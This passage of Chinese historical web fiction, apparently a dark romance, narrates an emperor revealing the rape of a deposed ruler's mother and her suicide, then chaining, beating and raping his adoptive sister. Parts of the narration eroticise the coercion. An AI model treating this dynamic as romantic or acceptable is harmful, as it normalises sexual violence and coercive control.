他看向张道恭:“即便你是亡国奴,朕也愿意再称呼你一声建德皇帝陛下。敢问这位皇帝陛下,您可还记得当日洛阳城为蔡州节度使温思程所破后,您带着洛阳城里的宗亲百官们一路逃亡,逃至夔州时,就在从夔州渡江南下的前一天,这间驿站里发生了什么?”
张道恭惨白如纸的脸瞬间充血涨红,满目屈辱难堪,直到此时还是不发一言。
虽然他话是在问张道恭,但一旁的媜珠还是噙着泪满眼警惕地攥紧了自己的衣袖。
周奉疆没理媜珠,自顾自地继续说道:
“身后温思程叛军在追赶陛下,建德皇帝惟有趁着那年长江江水暴涨之前快些渡江南下才能保全自己。彼时已是丧家之犬的建德皇帝想渡江,就只能依仗那些一路护送他的亲卫武将们。
是时,武人跋扈,一路上有不少军士骚扰、凌辱随建德皇帝逃亡的后妃、宗室女眷们,甚至还有趁乱猥亵挑逗那些已出嫁的公主的,但建德皇帝俱敢怒不敢言。他生怕惩处训诫这些武人后,亲卫们对他不满,继而这些人的不满和激愤就会危急他天子的安危,所以他只能装睁一只眼闭一只眼。”
说到这,他伸脚踹了张道恭一下,“朕说的没错吧?”
周奉疆状似十分感慨:“这乱世里跟错了男人,当真是没有好下场的。——建德皇帝自洛阳出逃时,共计有后妃嫔御、及被临幸过而无名分的宫娥三十四人,到他前不久在岭南龙编县为魏军所生擒时,只还有五人尚存于世。这五人里,有你姐姐周婈珠,也有他在岭南所纳的贵妃薛氏。”
他的目光一下变得讥讽而凌厉起来,厉声呵斥媜珠道:
“周媜珠,你当你选上的是什么如意郎君呢!当年若不是朕拦着你不让你跟他淫奔,你以为你若真的跟他去了洛阳,今时今日你又是个什么下场?!
他的那些女人们,有在逃亡路上被沿途流氓地痞土匪们掳走奸淫的,有被这些人掳走后以贱价卖入风尘私娼里为妓的,也有因为体弱多病被活活拖垮死在路上的,有不明不白就这么走失了的,甚至还有哪怕一路跟在他身边、也会被随行护卫的亲卫士卒们肆意凌辱宿奸的。
——朕永生不愿把这些难听的话加之于你身上,可你但凡还有几分脑子,你也该清楚你该跟谁走,谁才是真正爱你护你的男人。”
张道恭这时候当然是不会再说话的,媜珠更没有理周奉疆。
周奉疆冷笑:“不只是后妃公主、王妃命妇们跟着这个皇帝没有好下场,就连……就连建德皇帝的生母陈太后,死法好像也不干净呢?是吧?张道恭?”
他话锋一转,将刚才那个一直对媜珠卖着的关子全盘托出:
“在夔州渡江前的几日里,有日深夜,几个酒醉的兵卒寻到张道恭后妃们的住处,想趁乱骚扰他的妃妾们,结果却误打误撞闯进了张道恭生母陈太后房内,夜深昏暗,他们以为陈太后乃二三十岁的年轻妇人,那几个兵卒遂如入无人之境般大摇大摆地宿奸了张道恭年逾四殉的生母陈太后,直到第二日天明时分才被人发现。”
“陈太后羞愤欲死,哭着寻及张道恭,命自己的儿子将这几人即日凌迟处死。张道恭原本就犹豫不决,一怕丑事外扬,二怕处置武人动摇军心,扰乱他渡江逃命的安排。三则,后来他又发现,那些宿奸他生母的兵卒里,有一人还是夔州刺史的小舅子,建德皇帝寄人篱下啊,受着夔州刺史的庇佑,更不敢得罪刺史,只能忍气吞声装作不知情。他还劝陈太后也忍一忍,许诺陈太后说,等他们离了夔州渡江后,他一定会为陈太后处置这些人。”
“后,在张道恭渡江之日前夕,陈太后便在这间驿站的正房里上吊寻了死。前楚终其一朝的最后一位帝母、最后一位皇太后,竟然是这么屈辱的死去的。是不是滑天下之大稽?”
“张道恭在渡江之前得知了生母陈太后死讯,彼时他已登船,为了自己的安危起见,张道恭拒不愿下船再回夔州见生母最后一面。那他后来是如何处置生母尸首的呢?他让自己的心腹用一块黑布裹了陈太后的尸身,在渡江时趁乱将陈太后尸体抛入江中,谎称陈太后是不慎坠江而死的。”
“直至今时今日,那些奸污过他生母的士卒,仍旧无一人得到建德皇帝的处置,依然逍遥在世。”
“不过,朕素以法理治天下,前朝余事,仍归朕管。朕会替陈太后沉冤昭雪,将此事原原本本记述于前楚史书之上,为陈太后处置罪犯。”
听到周奉疆将这一切全说出来后,张道恭绝望地阖上了眼睛。
看到张道恭那毫无辩驳之欲的反应后,媜珠心底已然意识到周奉疆说的大概率是真的了。
此刻,这间正房顿时让媜珠觉得冒着森森凄怨悲愤的寒气来,令她颤抖不止。
她猛然抬眼瞥见房顶的横梁,瞬间便联想到,当年的陈太后就是用一根白绫挂了上去,身子垂在这里死去的。
陈太后的一缕冤魂,说不定还缠在这里久久不曾散去。
比起凄厉的恐怖,更加直观涌上媜珠心头的,是无与伦比的恶心感。
她说不出是什么最让她觉得恶心,可周奉疆所讲的这个故事里的一切都是恶心的。
除了陈太后之外,没有一个好人,所有人都有罪,他们所有人都恶心,做的所有事都恶心。
最让感到错愕与难以置信的,是张道恭的所作所为,他对他生母的冷漠和自私,他对此事的反应,完全打破了媜珠在心底一贯以来对他的幻想。
她以为他是温文尔雅、卓尔不群,满心牵挂天下苍生、颇有抱负的雄伟男子,结果他的面具之下,也会藏着这样一张嘴脸。
她知道但凡是人,都会有恶的那一面,可张道恭的恶让她从此再也无法直视这个男人,直视他们从前在一起的那些时光。
——他真的还不如周奉疆呢。
不知怎的,媜珠想起了这句话,想起了她这一路听到不少百姓私下窃议得出的这个结论。
周奉疆的恶好歹恶在明面上,他做恶事,从来不为自己辩驳。他从来都坦然承认对他养父周氏一族的虐杀,承认他是为了一己私欲杀了养父的儿子、兄弟、侄儿们。
而张道恭的恶却掩藏在他那副光风霁月、温良恭俭的所谓圣人明君的皮囊之下。
她从未想过,当年那个意气风发、满怀壮志、以天下为己任的少年,有一天竟会变成如此模样。
她霍然意识到,认真说起来,同样是男人,张道恭的恶从不比周奉疆少过半分。
他们都不是好东西。
男人没一个好东西。
张道恭在所谓孝顺陈太后的时候,他不顾国家生计,满足陈太后的一切索求,靠着盘剥百姓赋税、在江山危急时刻去为陈太后修建行宫。
而后,百姓被敲骨吸髓,陈太后被万民所指,只有他落得了一个完美无瑕的“孝”的名声。
当真的需要他去保护他的母亲时,他却怯懦退让,令陈太后活活受辱而死,死后尸体还要被自己的儿子投于江水之中,不得入土为安。
他甚至还不如周奉疆对他的生母郑氏呢。
真可笑啊。
命数、气运,真是个“有趣”的东西。
当这个将要改朝换代的故事刚开始时,陈太后是受宠的陈德妃,张道恭是天潢贵胄的堂堂皇子。
周奉疆的生母郑娘子则是卖身受辱的娼妓,周奉疆是被人欺辱的娼妓之子,卑贱低微。
几十年后,这两对母子的命运辄然相反,张道恭的生母受辱而死,张道恭成了阶下囚亡国奴。
相反,周奉疆当了新朝的开国之君,他的生母郑娘子得到了儿子的十箱黄金,后半生在扬州城里过上了体面优渥、衣食无忧的安宁生活。
媜珠强撑了片刻,最后终于忍不住扑通一声跪倒在地,捂着胸口哇地一下吐了出来。
这一下便吐得她昏天黑地,房内只剩下了她断断续续呕吐的动静,她吐了许久,偏这一整日她滴水未进,什么也没吃,腹中空空,吐到最后几乎把发苦的胆汁都呕出来了。
可她还是在继续吐,她想把她从前与张道恭在一起的那些欢愉时光,那些她记忆中献给他的笑靥与情意,如数吐还给他。
虚弱的体力在这一刻总算是彻底耗尽,她把腹中能吐的东西吐干净后,身子一软,眼前一黑,只觉得自己快要昏迷过去。
不过在她瘫倒在地之前,还是有一双大掌托住了她的身体。
周奉疆怜惜地抚过她削瘦清减的肩膀:
“就这点,就足以让你不能接受了么?你的情郎私下背着你做的其他好事,兄长还没细细讲给你听呢。”
“原来你们这对少年鸳鸯的所谓情意,也不过如此啊。我还以为,不论他是人是鬼是何种模样,你都能一如既往地扑上去爱他呢。哪怕他把他生母逼死了,你不是也该巧笑倩兮地迎上去哄他、说我们河间王殿下做的都对都好吗?这都做不到,还谈什么少年情爱?还谈什么山盟海誓?”
不过这些话媜珠自然是听不见了。
媜珠再次醒来时,是在天子回銮的车驾上。
当她下意识地想从床榻上爬起身时,忽听到一声哗啦作响,循声望去,丝被之上竟出现了一条约二三指宽的金制锁链。
那根锁链没入丝被之下,她一把掀开绣被,发现那条锁链最后缠在了她的脚腕上,将她牢牢锁住。
媜珠出神地看着那根锁链,许久说不出一句话来,甚至她都忘记做出任何反应了。
第57章
她不知自那夜在驿站中昏迷后究竟过去了多久,也不知究竟是何时被人带到了这里,但她能很清楚地感受到有人为自己重新沐浴更衣过。
此刻的她浑身清爽干净,长发也被打理得顺滑馨香,多日流浪在外的尘土早已被清理一空。
她叫人安置着躺在柔软如云的杭绸蜀锦的被褥间,被人套上了她在宫里常穿的织云纱制的华贵寝衣,轻嗅着一旁香炉里缓缓溢出的龙懿香的香气,榻边的小几上摆着一壶尚且温热的茶水,是怕她醒来口渴所以放着的,也是她惯常喜爱的西山白露,御用的贡茶。
还有一盅温在小炉上的川贝百合燕窝粥,一碟软糯的荷叶桂花糕,梨花山药酥。或许周奉疆不仅怕她醒来口渴,还怕她会把自己饿死罢。
这些种种,似乎都在昭示着她仿佛一夜之间又变成了从前长安宫城里宠眷优渥的赵皇后。
她不再是流浪在外自甘受苦的蒙尘珍珠,而是被君王捧在手心的掌上明珠。
只要她愿意回头,他还是会照旧宠爱她。
可媜珠是看不到这些的。
她只能看到那条锁链,
——她知道现在的她真的成了笼中的一只困兽了。
他用对待鸟兽一般的方式对待她、羞辱她。
闺阁少女时代,在冀州侯府时,她时常见到自己的几个庶弟们这样对待鸟兽。
他们会将那些抓到的鸟儿猫儿兔儿们用锁链拴住,提在手里逗弄赏玩,以折磨这些弱小又无辜的生灵来取乐。
但她从未想过,有朝一日自己也会被男人以如此方式对待。
直到过了许久之后,媜珠才终于颤颤地探出一只手来,小心地抚上了那条锁链,轻轻拨弄着那锁链扣在自己脚腕上的机关。
扣在她脚腕的圆形镣铐内还被人垫了一整圈细密柔软的狐狸皮毛,倒是并没有让冷硬的金属硌伤她的皮肤。
媜珠静静地看着这圈狐狸皮毛看了许久,无声地自嘲一笑。
这又算什么呢?算他爱护她?心疼她?
她想起幼时她的弟弟们在折磨鸟兽之前,对于那些他们尚算钟爱的宠物,他们也是看似温柔的,会给它们细心地投食、爱抚。
但这并不影响在他们的眼里,这些鸟兽只是用来逗弄取乐的玩物,是可有可无不值得一提的玩意儿。
也并不影响这些鸟兽被他们玩腻之后,最终的结局俱是一死。
媜珠面无表情地拉扯着这根金链和镣铐,想要将它从自己身上弄下来。
她不要被人这样侮辱,她不要做这样的玩物。
所以她绝不允许这种东西出现在自己的身体上。
然而这条锁链和镣铐实在太过坚固,没有钥匙的情况下,任媜珠如何扯动也无法将它松动分毫。
她还是一声不吭,情绪却濒临崩溃,胡乱地将那条锁链拉扯得哗啦作响。
见实在无法卸下缠绕在自己脚腕上的锁链,媜珠忽然撕下了那条铺垫在镣铐内侧的狐狸皮毛,把被她用力撕碎的狐狸毛发扔向床榻四方,状似疯癫一般。
她的样子,像不像一只被关在鸟笼里关到神智崩溃的雀莺?
或许在她心底不愿承认的是,周奉疆对她的羞辱固然是致使她此刻情绪起伏剧烈的原因之一,但此刻给她最大刺激的,还是来自于张道恭。
从当年张道恭初至北地就藩,从他们相识伊始,至今逾十四年矣。
十四年了,占据她二十二载人生中大半大半的光阴,十四年来她都不曾看清他的真面目,看清他的懦弱无能和虚伪自私,末了,竟还是在兄长训斥嘲弄之下,由他撕开了这令人瞠目结舌的肮脏真相。
也许兄长说的真的都是对的,张道恭的确并非良人,更非良配。
她不该对他抱有半丝真心半分真情。
那她豆蔻年华情窦初开的懵懂情意呢?她付出给张道恭的那些青涩而烂漫的年华呢?
也都是毫无意义的,是不是?
“哪里来这样大的脾气?这些日子里还不够你闹的?”
正在媜珠憔悴失神之际,有人登上了这辆奢华宽敞的銮驾,语带讥讽的朝她开了口。
媜珠动作微顿。她知道这是谁的声音,知道是谁来了。
如果说她现在已经绝不想再见张道恭一面的话,那么另一个能和张道恭相提并论的男人,就是她的所谓兄长了。
她不想再见张道恭,张道恭会让她恶心作呕,她更不想见周奉疆,周奉疆令她觉得屈辱羞愤。
名义上的兄长,强占自己妹妹的身体,她自幼敬他为亲兄长一般恭顺侍奉,而他一朝得势,便将她当做暖床的姬妾一样把玩消遣。
他未必比张道恭高尚多少。
他们都辜负了她,玩弄了她的情谊,不过是换着法的骗她而已,男人的招数不过是那么两下,目的也只有那几样。
所以当她发现周奉疆过来时,她头也未抬,看也不曾看他一眼,更没有开口出声说什么了。
周奉疆缓步逼近她,最终在她榻边站定,垂眸俯视着凝望她的模样。
在被人洗去那层蒙上的尘土后,这颗明珠果真美丽如初,还是那等的冷艳动人。
她这大半个月来吃不好睡不好,身子清减了许多,裹在这样的轻纱寝衣里,更显得娇柔好似无骨,只余一身水做的肌肤皮囊。还有那细细不盈一握的腰肢,若他真想对她动粗,简直能被他一把掐断。
他心中已开始盘算起来,待将她关回宫里之后该如何在饮食上替她把清瘦了的那点肉也补回来,又想着她平素嘴巴还挑,心情一不好就不肯吃东西,是不是还要让膳房的人变着法子把膳食做得更精巧些,才能哄她多吃点?
没准她是吃惯了寻常的东西,不若就多寻点四海边地藩国进贡之物拿来哄她吃,渤海的熊掌,逻些的虫草,南诏的山灵芝,高丽的名参……一股脑给她灌下去,总归有她愿意多吃点的吧?
心里想的尽是为她好的事,可在面上,周奉疆已决意不再惯着媜珠的脾气,必须要让她亲自认错悔过,好好受一番他的惩罚。
他呵斥她的声音在媜珠头顶响起:
“朕是你的兄长,是你的夫婿,更是你的君主,你见朕来,该有的规矩和礼数都丢到哪里去了?连开口唤人也不会?你哪来这样大的架子?”
被他这样一骂,媜珠的眼眶顿时就红了,她含着泪撇过头去,继续不理睬他。
不知为何,周奉疆手里竟无缘无故持了一把檀木戒尺,他握住戒尺的一段,用其另一端伸到媜珠的下巴处抬起她的脸,让她满面的屈辱、愤恨与不甘尽数展现在他眼底。
或许他误以为媜珠已屈服了,他以为他已在她面前揭穿了张道恭的真面目,此刻的她必定又悔恨又无地自容,她应该乖乖接受他的惩罚,所以他又斥了她一声:
“说话!知不知道怎么开口叫人?”
“啪”一下,媜珠竟猛然还了手,一把扇开了他抵在她下巴处的那把戒尺,满目愤恨地望着他道:
“叫什么人?我该叫你什么?你算我什么兄长什么丈夫什么君主?我告诉你,我一样也不认!你在我眼里谁也不算!”
“你本来就非我周家子弟,与我更无血脉亲缘,还凌辱于我,我永远不认你这个兄长!你哪来的颜面自称我的兄长?我的兄长们早被你屠戮殆尽了!
所谓丈夫,更是可笑荒谬无稽之谈!婚约父母之命媒妁之言,我是冀州周家的三娘子,我父母给我定下的婚约只有和河间王张道恭的,你又是谁?我和你哪来的婚约?哪来的姻缘?哪来的夫妻之义?
至于君主?呵,你的江山是从谁手里抢来的?是你杀了我那么多兄弟、从我们周家人手里抢来的基业才有你今日的江山的!纵使天下万民认你为君王,哪怕张道恭也对你三叩九拜俯首称臣,我周媜珠也绝不认你为君!”
认真细论起来,这是时隔她失忆的五年之后,他们二人之间第一次这样坦率地、真实地说话。
他们都清清楚楚知道彼此是谁,再无半分虚与委蛇、逢场作戏。
就这样痛痛快快地把彼此之间经年的裂痕与怨怼一股脑地撕扯了出来。
可惜,媜珠说的每一个字俱令周奉疆暴怒。
——他近来数月里总是在生气,其中十之八九还都是因她。
媜珠顶了嘴,周奉疆气血上涌,忽一把将她从榻上拉了过来,他大马金刀地于榻上坐下,将媜珠的身子推在自己膝头,按住她的双手和上半身,掀开她的寝衣,抄起手中戒尺便狠狠在她白桃瓣似的臀上重重抽了一下:
“养不熟的东西!”
这一下他是真不留情面打在她臀上的,存心要让她尝尝痛楚滋味。
于媜珠而言,这也是她一生中第一次真正意义上被人用皮肉之苦的方式来教训。
她当然是痛的,只那一下剧烈的痛感从臀瓣涌至心头,她浑身都发起抖来,疼得她泪眼汪汪。她欲拼命反抗,可四肢都被那男人牢牢钳制住,任她如何扭动身子也无济于事。
锁在她脚踝上的金锁链也因她挣扎的动作而不断发出清冽的响声,愈发提醒了媜珠她此刻的处境。
像一尾被捉上了岸的鲜美白鱼,都被人按在砧板上了,再怎么挣扎也摆脱不了被人吃干抹净的命运。
周奉疆咬牙训斥她:“你不认我?你不认我还想认谁?张道恭吗?你还想和他那些后妃宫娥们一样下场吗?”
他一面说,一面又抬手在她臀上重抽了两下,媜珠被疼得死去活来,这痛楚里还附赠了一份强烈的羞愤耻辱,她这时候哪还顾得听他在说什么,惟有四肢扑腾得比被捞上岸的鱼儿还激烈,扭来扭去得想要从他桎梏之下逃出来。
被他打骂教训已经够羞耻的了,偏偏他打的还是她的臀。
周奉疆要是气急之下踹了她一脚再上去给她两巴掌,就算她被他打得眼冒金星再无还手之力,她也只会蜷缩在角落里自顾自地默默流泪,兴许一边流泪一边还会觉得自己颇有骨气、贞烈不屈。
可他居然用戒尺抽她的臀!
媜珠还未从这等痛苦中回过神来,周奉疆又道:
“你不认朕做兄长,不认朕做你父亲的儿子,那你告诉朕,朕若非认下这个周姓,你父亲凭什么被供奉宗庙之内被称一声先帝?你母亲凭什么做皇太后?你外祖赵氏一族凭什么贵为望族?你那些手足弟妹们,凭什么一个个当王爷公主?你以为是朕稀罕你周家的尊贵姓氏?但凡朕想,朕今日就能把这个周姓摘了,朕想姓什么就姓什么,可你周家的宗族亲戚们可就惨了!”
“你不认朕做夫婿,你还想嫁给谁?还指望着嫁给张道恭?还是这天底下哪个旁的男人?周媜珠,朕告诉你,朕若不允,九州四海寰宇之大,再没有一个男人敢娶你!你也别想着做尼姑还是做女道士去,朕不点头,哪个尼姑庵老道观都不敢收你!”
他越说越气,说完一句话,中间喘口气的功夫就抄着那戒尺狠狠在她臀上抽一下,他抽一下,媜珠的身子伏在他膝头便抖得愈发厉害。
伏在他膝上的那具柔软的身体,便如一只待宰的兔子似的扭来扭去,四肢与胸腹也在不停地蹭着他。
该蹭的不该蹭的地方,反正她一一触碰了个遍。
周奉疆骂她骂到一半,停下来粗喘着换了口气,垂眸看向媜珠时的眼神就全变了味了,漆黑的眼眸幽深得似一头会吃人的狼的眼睛。
媜珠的臀瓣被他打的一片通红,因她肌肤娇嫩又怕痛,往日稍微一掐一吮就能轻易留下痕迹的,如今再被他动真格的用力抽打,那惨状看上去自然更为触目惊心。
她这两瓣娇臀的确是没遭过罪的,往昔帷帐之间欢愉时,惯常被人托在掌心里细细抚摸挑逗的那块皮肉,今朝也有皮开肉绽的一天,她哪吃得了这个苦头。
周奉疆不动声色地吐出一口浊气,还是那副道貌岸然兄长的模样教训她:
“你说朕杀了你的兄弟、抢了你周家的基业才做的皇帝?朕认下,这又如何?谁让你们周家人一个比一个都没用!成王败寇,弱肉强食,朕何错有之?你与其质问朕,不如去烧根香托梦问问你那些草包货色的亲兄长们,问问他们为何如此无能残废!哪怕不是被朕所杀,这群酒囊饭袋在乱世里也迟早死在旁人剑下!”
“对了,周媜珠,朕不是和你说过么?朕为什么杀尽你周家子侄?呵,你父亲死前留下手令,要你的兄长们逼殉你母亲,要你母亲给你父亲陪葬的!你周家的庶兄叔父堂兄弟们,这些人聚在一起说要遵循你父亲遗愿、逼你母亲去死!朕当日不顺手杀了他们,现在你母亲就是一具尸首!你母亲的寿数还不如张道恭的生母陈太后呢!”
“周媜珠,你倒是好个贞烈孝顺的女子,那你告诉朕,你父亲死前留下的遗愿,你愿不愿意遵循?你父亲说要逼殉你母亲,你认不认?你若认,朕带你回长安,你亲自和你母亲说,让她去赴死去陪你父亲!你敢认你父亲的遗愿,朕即可将皇位归还你周家子弟,如何?”
“朕乃天子,一言九鼎,绝无后悔!”
他骂她的时候,手下的戒尺就没停过。
媜珠一面是被他打得痛苦钻心、泪流不止,一面是被他骂的无言以对,羞愤欲死。
另一面,在铺天盖地如排山倒海般涌来的疼痛羞耻之余,她察觉到了他身体的变化。
她就知道,在他眼里,她所有的哭泣、眼泪、痛苦与挣扎,最后都会成为他的取乐,都会助长他的趣味和兴奋。
曾经他就在床帷之间玩味懒散地和她说过,媜媜啊,若是不想受罪,你以后可以少掉些眼泪,有些时候,你越哭男人只会越亢奋。
他将她的上半身按在自己的大腿上,两人身体相靠,皮肉相贴,柔弱无骨总与坚硬如铁更为合宜。
她害怕,恐惧像是一把尺寸可怖的残忍利刃抵着她,而那把匕首随时会要了她的命。
媜珠终于忍不住放声大哭起来,呜呜咽咽的样子实在可怜得不得了。
和她分别大半个月,周奉疆也确实有这么长的时间未曾再沾过她的身了,素得令他心烦意燥。
惟有她自己,才是消解帝王疲乏与怒火的一味顶级良药。
见媜珠哭到无暇再和他顶嘴争吵了,周奉疆眸中的怒火渐渐沉了下来。
他扔掉了手里的戒尺,抬手轻轻抚弄着她的发顶,语气也温和下来,像是位在动粗教训妹妹后又对妹妹循循善诱的好兄长:
“你瞧你,早听话些,这些苦头是不是不用吃了?”
他将她翻了个身在怀里捞起来,扣着她的下巴继续问她:“现在知错了没有?见到我来,该怎么叫我?是叫伯骧哥哥还是叫夫君,总该选一样。”
媜珠哭到都哽咽了,长发凌乱披散,好几缕发丝还被泪水沾在脸颊和脖颈、锁骨处,可这时候她居然还有力气冷不丁地抬手扇了周奉疆一下。
这一巴掌伸得颇为迅疾,周奉疆没来得及躲就被她在下颌处伸爪子挠了一下,修长漂亮的指甲在他唇角抓了到立时见血的细痕。
媜珠哽咽着骂他:“老畜生!你就是个纵欲好色的畜生!你无耻!下流!早晚有你纵欲到精疲力竭命不久矣的那一日,你的寿数未必比我周家的兄长们长多少呢!”
周奉疆愣了下,抬手用指节抹去那滴小小的血珠,本来快消散下去的怒意又被媜珠轻而易举地勾了上来。
“……你找死!”
他一把将怀里的媜珠丢回到床榻上,站在榻边两下解了腰间的蹀躞宝带,用那腰带将媜珠的双手按在她头顶,借着床头栏杆一块绑了起来。
媜珠挣扎了两下,发现他不知系的是个什么结,她越挣扎那结扣就勒得越紧,几下之后只能作罢。
她眼下的狼狈处境堪称前所未有,脚腕上锁着金锁链,双手又被绑在床头,臀瓣还被他凌虐过,身上快没有一块好地了。
她就是他的战利品,是他案板上一块马上供他享用的肉。
周奉疆狞笑着解了衣袍,在她惊恐的眼神中覆到了她身上。
“媜媜,这不是你第一次在恢复记忆后、清醒的状态里承欢于兄长身下,对不对?”
“但这是第一次,我们两人都不再互相伪装的情况下,我叫着你周媜珠的名字来上你。”
“这样的滋味会不会格外刺激点,嗯?”
第58章
周奉疆说的的确没错,媜珠还当真受不了这样的刺激。
受不了兄长一边叫着她“周媜珠”的名字,一边强行和她行夫妻之事、肌肤之亲。
恢复记忆后不是没有过和他同房欢好的经历,但那几次,至少他还不知道她已经想起了一切,他还将她当做他的妻子一般继续蒙骗着,媜珠虽难以忍受,可好歹还能和他一样自欺欺人下去。
她尚且可以安慰自己说,兄长现在是把她当妻子看待的,他没有把她当成那个妹妹,他们这还不算是乱伦。
那现在呢?
媜珠痛苦地别过了头去,将自己半张脸埋进柔软的圆枕里,不想再看见身上男人那陷在情欲中的样子。
直到此刻,她还是不明白自己当年究竟做错了什么,究竟为何会使她招致兄长的惦念觊觎和侵犯玩弄?
是她生性浮浪、水性杨花?是她举止放荡、存心勾引?
世人多数说,只有这样的浪荡女子才会勾得男人犯错,这样的女子都是活该的。
她虽不敢苟同这种说法,可哪怕世间的道理当真如此,她也自认为自己一样也没有犯过错。
在她稍稍明事理懂规矩后,她便一直在母亲、乳母、老师和教养嬷嬷们的管教下规规矩矩地生活,一言一行举手投足皆不敢有半分逾矩,即便和他关系亲密,然则言行举止间也素来和他保持着适当的距离,从来都是按照尊敬兄长的礼数恭顺地对待他。
可她所做的这些,给她换来的是什么?
换来的是在她父亲孝期未过时,他便找人给她递了一句话来,让她去跟了他。
她做他妹妹做了这么多年,为什么要被他变成他床上承宠的女人?
“三娘,你二姐姐是不是和你说过,死在我刀下的那些周家人,此刻都在天上睁着那双眼睛看着你?”
周奉疆轻而易举地剥去她身上那件轻薄的寝衣,肆意地抚上她的身体。
被他这么一提醒,媜珠自然是愈发难堪无地自容,将半张脸埋在枕头里闷声哭起来,不过片刻功夫,圆枕上就被她的泪珠洇湿了一片。
周奉疆俯首贴在她耳边轻声逗了她一句荤话:“那里也是……你哪来这么多水?真是水做的?”
说完这句后他抬起头来拉开了点和她的距离,又变成了那个双手撑在她身体两侧俯视着她的姿势:
“朕从不信鬼神之说,你二姐姐两三句胡言乱语,当日便将你吓成那样?吓得你又是昏睡又是噩梦又是不吃不喝的,周媜珠,你就这点出息?”
他腾出一只手游移在她秾纤合度的莹润身躯曲线上,
“看着就看着了,有什么大不了的?人死灯灭,死人就是最没用的东西,他们就是将那双眼睛看到瞪出来,也不会妨碍到你我半分。”
周奉疆伸手捏了捏她的脸,脱掉了那好兄长的皮囊,他在榻上和她说起话来也是荤素不忌的,
“朕倒觉得,若他们真能睁着那双眼睛看着咱们,反而更刺激些,你觉得呢?”
到这时候媜珠都还强忍着没有理他,但她越不给他反应,他就愈发轻佻露骨起来,话也越说越往下流处走。
“你父亲在世时必定想不到吧?他那高贵美丽视若家族挚宝的嫡女,终有一日会在我身下承欢?他虽认我为养子,实则不过是拿我充作信得过的家奴而已。没想到风水轮流转,造化弄人,有一天他的嫡女也要乖乖躺到这卑贱家奴的榻上。”
“媜媜,不过朕倒是想请你猜猜,你说你父亲要是看见你如今这番模样,他是会心疼你心疼得不得了,会怒火中烧、冲冠而怒,只恨不得回到当年将朕一刀砍死,还是……?”
“还是巴不得你能被朕多睡几次,盼着你多承恩露,早日怀上龙嗣,生下带着周家血脉的储君好延续你们周家的尊荣呢?”
他这句话刚说完,身下的媜珠整个人便剧烈颤抖起来,她牙关发颤,眼眶通红湿润,满眼怨恨地死死瞪着他:
“周奉疆,你怎么不去死!”
“你就是个老畜生,你去死吧!”
周奉疆还没来得及笑一笑去好好欣赏一番她的怒容,忽觉手掌虎口处传来一点刺痛,原来是媜珠趁他不备,骂完他两句后就一口咬上了他的手。
倒是只鸟喙尖利、最受不得气的金丝雀。
这一下她也是用尽了浑身力气,看那清丽眸中溢满的恨意,只怕她恨不得把他这只手都给直接咬断。
不过周奉疆这辈子最不怕的就是肉身伤痛,他从小到大、从在生母身边到后来沙场领兵,受过的伤大大小小已无可计数,是以媜珠所咬的这点痛于他而言几乎可以忽略不计。
然这只手被她叼在嘴里,倒是不便于他动作了,周奉疆低头呵斥她两句:
“几时还学会了这乱咬人的本事了?松口!”
“你的牙就这么硬?到现在还不知认错悔过,就知道乱咬人?还不赶紧松口!”
他越骂她,媜珠咬得越紧,还摇了摇脑袋咬得更深了,像只用力啃食骨头的猫,不仅会咬人,她还能趁你不防备时再伸爪子挠你一道。
见骂她两句还不管用,周奉疆又对她说:“这张嘴这么喜欢咬东西,朕换一处地方给你叼着?恐怕你也是喜欢的。”
这话逼得媜珠回忆起他们过去床帷间不堪为外人所知的那些事,尽是他的下流癖好,她一边更加用力咬着他的手,一边忍不住大颗大颗地滴落眼泪,泪水混合着他的血又滚到她嘴里去,弄得她满口苦涩铁锈之气。
他就只会这样侮辱她,只会对她说各种不尊重她的话。
媜珠心中恨道,他如果真敢那样做,她一定会还像这样用力咬他的,最好直接把他咬断,一口气废了他。
既然她自己不识抬举,不肯低头,周奉疆腾不出手来虽有些不太方便,但还是顺从她的心意,借着这个姿势彻底得逞了。
他舒畅地长叹一口气,丝毫不在意被她咬的鲜血直流的手掌,俯身亲吻她的脸颊,夸赞她是如何如何的美丽,说她是何等何等的尤物。
“有周三娘子一人之身承欢君王龙榻,纵使天下美人加在一块、使出浑身解数来争宠,也撼动不了三娘子的宠眷了。”
媜珠绝望地闭上了眼睛。
中途她实在没了力气,只能含恨从口中吐出了他的手。
那只手掌的虎口上留下一个见了血肉的完整牙印,周奉疆在动作之余抽出空来瞥了眼那伤口,一笑而过,也未放在心上。
他还颇为善意地提醒她说,媜媜,你还记得么,其实这不是你第一次咬朕了,这也不是你留在朕身上的第一个牙印。
她第一次咬他,就是在她的新婚之夜,她的初夜,也是他们的第一次。
她懵懵懂懂,按照新婚前嬷嬷们的教导无条件地顺从丈夫的一切摆布,嬷嬷们告诉她说,女子就该要这样乖顺,只有这样的女子在婚后才能得到丈夫的宠爱。
媜珠虽不解更无法接受,但彼时刚刚失忆的她面对一切都无比不安,所以也惟有认命,而后照做。
可当那一切真的来临时,媜珠害怕得战栗不止,而且还没真正开始她就不停地哭泣求饶,不停地对他说自己很害怕,弄得周奉疆也不上不下、不知如何是好。
她懵懂无知之下的声声求饶,在当时还罕见地唤醒了他心底仅剩的一点良知,让他颇有些罪恶的负罪感。
——但新婚之夜是男人最得意的时刻,他又不可能因为她的哭泣害怕就真的即刻立地成佛成了清心寡欲的和尚,然后不动她了,和她就这样和衣睡下。
这可能么?
于是他也是灵光一闪想出了一个奇招,将她搂到自己怀中,让她安安静静地躺在自己身下,然后叫她张嘴咬着他的左臂,告诉她说,不论等会是害怕、痛苦还是有其他任何异样的感觉,不必开口说话,咬他就行了。
最痛苦的那一刻来临时,媜珠便如他所言,死死咬住他的臂膀,咬得他左臂鲜血淋漓,沾染了一大片床褥。
而他也如愿没有听到她的求饶泣泪之声,装作完全不知道她的痛楚一般,于无限销魂畅快中第一次得到了她,亲手将她从一个女孩儿变成他的女人。
然,现在的媜珠是听不得周奉疆提这些旧事的。那些都是他欺骗侮辱她的见证,她永世不想再回首自己新婚之夜的情状了。
哪怕她这会儿已经被折磨得说不出话来,她仍然恍惚地在心底感慨他厚颜无耻程度之至。
媜珠逃跑在外,久未侍奉他,加之再有怒火的催化之下,这一场交媾合欢当然不可能轻易结束了。
中间周奉疆察觉媜珠有些要被他折腾得昏迷过去的倾向,他自不能允。
他现在折磨她,就是为了让她清清楚楚地记住,记住他们之间的一切,否则他在她没醒来的时候为何不直接去上她?
周奉疆遂披衣下榻,扬声唤宫人端进来早已备好的参汤和参片。
佩芝亲自端着东西进来,小心地奉到天子面前。
她闻见这銮驾内浓重的腥甜糜艳气息,虽未听见皇后的声响,可猜也能猜到她必定不好过。
